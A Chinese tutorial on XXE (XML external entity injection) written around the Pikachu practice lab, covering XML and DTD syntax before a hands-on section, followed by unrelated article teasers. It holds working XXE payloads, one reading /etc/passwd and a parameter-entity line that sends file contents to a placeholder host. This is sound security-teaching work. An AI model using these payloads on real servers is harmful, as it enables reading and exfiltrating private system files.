十一、pikachu之XXE

news/2025/1/15 18:19:41/

文章目录

  • 1、XXE漏洞概述
    • 1.1 XML定义
    • 1.2 XML结果
    • 1.2 XML文档格式
      • 1.2.1 DTD内部文档声明
      • 1.2.2 DTD外部文档声明
      • 1.2.3 DTD声明
  • 2、实战

1、XXE漏洞概述

  XXE(xml external entity injection):即xml外部实体注入漏洞,也就是说服务端接收和解析了来自用户端的xml数据,而又没有做严格的安全控制,从而导致xml外部实体注入。

1.1 XML定义

  XML由3个部分构成,它们分别是:

  • 文档类型定义(Document Type Definition,DTD),即XML的布局语言;
  • 可扩展的样式语言(Extensible Style Language,XSL),即XML的样式表语言;
  • 可扩展链接语言(Extensible Link Language,XLL) 。

  XML:可扩展标记语言,标准通用标记语言的子集,是一种用于标记电子文件使其具有结构性的标记语言。它的设计宗旨是传输数据,而不是显示数据它的标签没有被预定义,需要自行定义标签。

  可扩展标记语言(XML)和超文本标记语言(HTML)为不同的目的而设计:

  • XML被设计用来传输和存储数据,其焦点是数据的内容。
  • HTML被设计用来显示数据,其焦点是数据的外观。

1.2 XML结果

  XML使用元素和属性来描述数据。在数据传送过程中,XML始终保留了诸如父/子关系这样的数据结构。几个应用程序可以共享和解析同一个XML文件,不必使用传统的字符串解析或拆解过程。

  XML总体是由元素(如<message>)组成;元素可以额外附加属性,需要提前定义;元素中可以引用实体,相当于变量,存在内置变量和自定义变量。例如:

<square width="100" /> &a; </square>元素    属性         实体

  xml中的5个实体引用:

&lt;	<
&gt;	>
&amp;	&
&quot;	"
&apos;	'

1.2 XML文档格式

  XML文档结构包括XML声明DTD文档类型定义(可选)文档元素

在这里插入图片描述

  DTD(文档类型定义)用于定义引用普通文本或特殊字符的快捷方式的变量,可以内部声明或外部引用。

1.2.1 DTD内部文档声明

  当DTD存在于XML源文件中,由以下格式进行包裹<!DOCTYPE 根元素 [元素声明]>,然后XML文件对于DTD的内容进行引用

<?xml version="1.0"?>
<!DOCTYPE note [ <!ELEMENT note (to,from,heading,body)><!ELEMENT to      (#PCDATA)><!ELEMENT from    (#PCDATA)><!ELEMENT heading (#PCDATA)><!ELEMENT body    (#PCDATA)>
]>
<note><to>George</to><from>John</from><heading>Reminder</heading><body>Don't forget the meeting!</body>
</note>

  可以看到在DTD设置了一些变量,然后在xml文档中再使用到这些变量。这就是DTD与XML之间的使用方法。

1.2.2 DTD外部文档声明

  从xml文件外部引入DTD:

<!DOCTYPE 根元素 SYSTEM "文件名">

  例如:

<?xml version="1.0"?>
<!DOCTYPE note SYSTEM "note.dtd">
<note>
<to>George</to>
<from>John</from>
<heading>Reminder</heading>
<body>Don't forget the meeting!</body>
</note>

  note.dtd文件:

<!ELEMENT note (to,from,heading,body)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body (#PCDATA)>

1.2.3 DTD声明

  DTD可以声明元素、属性和实体:

  • 声明元素(标签):<!ELEMENT...
  • 为元素声明属性(标签属性):<!ATTLIST...
  • 声明实体:<!ENTITY...

(1)DTD声明元素

  • <!ELEMENT 元素名称 类别>
    • 类别:EMPTY,(#PCDATA),(#CDDATA),ANY
      • PCDATA:会被解析器解析的文本。这些文本将被解析器检查实体以及标记。
      • CDDATA:不会被解析器解析的文本。
  • <!ELEMENT 元素名称 (元素内容)>
    • 多个元素内容:(子元素名称 1,子元素名称 2,……)
    • 元素内容次数:默认只出现一次。
      • 最少出现一个:(子元素名称+)
      • 出现0次或多次:(子元素名称*)
      • 出现0次或1次:(子元素名称?)
      • 或:(message|body)
  • 混合类别和元素内容:
    • <!ELEMENT note (#PCDATA|to|from|header|message)*>

(2)DTD声明属性

  基本格式:<!ATTLIST 元素名称 属性名称 属性类型 默认值>

  • 属性:
    • CDATA 值为字符数据 (character data)
    • (en1|en2|…) 此值是枚举列表中的一个值
    • ID 值为唯一的 id
    • IDREF 值为另外一个元素的 id
    • IDREFS 值为其他 id 的列表
    • NMTOKEN 值为合法的 XML 名称
    • NMTOKENS 值为合法的 XML 名称的列表
    • ENTITY 值是一个实体
    • ENTITIES 值是一个实体列表
    • NOTATION 此值是符号的名称
    • xml: 值是一个**预定义的 XML 值
  • 默认值:
    • 值 属性的默认值
    • #REQUIRED 属性值是必需的
    • #IMPLIED 属性不是必需的
    • #FIXED value 属性值是固定的

例如:

<!-- DTD声明 -->
<!ELEMENT square EMPTY>
<!ATTLIST square width CDATA "0">
<!-- XML使用 -->
<square width="100" />

(3)DTD声明实体

  • 命名实体(内部实体):<!ENTITY 实体名称 "实体的值">
  • 外部实体:<!ENTITY 实体名称 SYSTEM "URI/URL">
  • 参数实体:<!ENTITY % 实体名称 "实体的值">(只在DTD中有效)
  • 外部参数实体:<!ENTITY % 实体名称 SYSTEM "URI">(只在DTD中有效)
<!--- DTD声明--->
<!ENTITY writer "Bill Gates">
<!ENTITY copyright "Copyright W3School.com.cn">
<!ENTITY % file SYSTEM "file://c:/windows/win.ini?%other_file;">
<!--- XML使用--->
<author>&writer;&copyright;</author>
<!--- 参数实体DTD中使用--->
<!ENTITY % print "<!ENTITY send SYSTEM 'http://x.x.x.x/xxe.xml?c=%file;'>">

2、实战

(1)输入个包含命名实体(内部实体)的xml数据。

<?xml version="1.0"?> 
<!DOCTYPE foo [    
<!ENTITY xxe "仙女" > ]> 
<foo>&xxe;</foo>

foo是元素,相当于html中的标签;
xxe是实体,相当于一个变量,变量的值在DTD已经被赋值了,为“仙女”。

(2)通过抓包,可以看到:浏览器对xml数据进行url编码,以post方式发送给服务端。

在这里插入图片描述

(3)分析源代码
在这里插入图片描述
可以看到:

  • POST传参中xml的值赋给变量xml
  • simple_load_string()转换形式良好的 XML 字符串为 SimpleXMLElement 对象,并且开启外部实体解析。

(4)通过外部实体读取系统文件。

<?xml version="1.0"?> 
<!DOCTYPE foo [    
<!ENTITY xxe SYSTEM "file:///etc/passwd" > ]> 
<foo>&xxe;</foo>

http://www.ppmy.cn/news/1060303.html

相关文章

CSS选择器-CSS3属性

CSS选择器-CSS3属性 持续更新… 1、CSS3的概念和优势 css3概念:是css的升级版本,新增加了一些模块 css3优点:完全向后兼容,可使用新的选择器和属性,能实现新的设计效果CSS3是CSS技术的升级版本&#xff0c;CSS3语言开发是朝着模块化发展的。以前的规范作为一个模块实在是太庞…

uniapp 开发微信小程序之新版隐私协议

自从微信小程序官方更新隐私协议&#xff0c;用户必须同意之后&#xff0c;才能获取个人信息&#xff0c;这就导致在获取用户信息之前&#xff0c;需要有个隐私协议弹窗 大致如下图&#xff1a; 微信小程序官方提供的API和 uniapp 开发的稍微有点区别&#xff0c;这里只记录 u…

【业务功能篇80】Springboot项目 maven配置仓库镜像settings文件分析

项目中我们需要依赖许多包&#xff0c;那么就涉及到maven配置文件&#xff0c;我们需要配置settings.xml文件&#xff0c;这里面会配置我们的本地仓库localRepository &#xff0c;远程仓库&#xff1a;仓库会有我们的依赖仓库repository和插件依赖仓库pluginRepository&#x…

【Spring Boot】SpringBoot实现社交网站用户主页的IP归属地显示功能代码

下面是一个简单的Spring Boot用户主页IP归属地显示功能的代码示例&#xff1a; 首先需要引入依赖&#xff1a; <dependency><groupId>com.maxmind.geoip2</groupId><artifactId>geoip2</artifactId><version>2.7.0</version> </…

Nmap扫描工具:详解每个关键参数的用途和意义

Nmap端口扫描 Nmap端口扫描目标规范&#xff1a;-iL 从一个文件中扫描主机列表--exclude 排除一些远程主机后再扫描--excludefile 排除文件中的列表 端口扫描状态&#xff1a;open(开放的)closed(关闭的)filtered(被过滤的)unfiltered(未被过滤的)open|filtered(开放或者被过滤…

python替换—Series.replace()与Series.str.replace()的区别及为何replace()无效的解决方法

文章目录 前言一、Series.replace()方法二、Series.str.replace()方法三、replace()与str.replace() 使用方法的区别四、常见的坑&#xff1a;python中replace方法不起作用 前言 在Pandas中&#xff0c;Series是一个由一维数组表示的DataFrame列&#xff0c;而replace和str.re…

Linux学习之NFS服务

《Linux 环境下 NFS 服务安装及配置使用》是一篇参考博客。 /etc/exports是NFS服务的配置文件&#xff0c;文件中的内容格式为&#xff1a; 共享目录的路径 允许访问的NFS客户端(共享权限参数1,共享权限参数2,共享权限参数3...)共享权限参数罗列如下&#xff1a; 参数作用ro只…

我裸辞去面试大公司python岗位了!

最近换工作了&#xff0c;坐标上海&#xff0c;裸辞&#xff0c;之前早有前辈们说过&#xff0c;“裸辞一时爽,一直裸辞一直爽”&#xff0c;这话一点不假&#xff0c;裸辞你要面临没有收入来源&#xff0c;但是每天眼睁睁看着各种花销不断支出的煎熬&#xff0c;我主要是觉得一…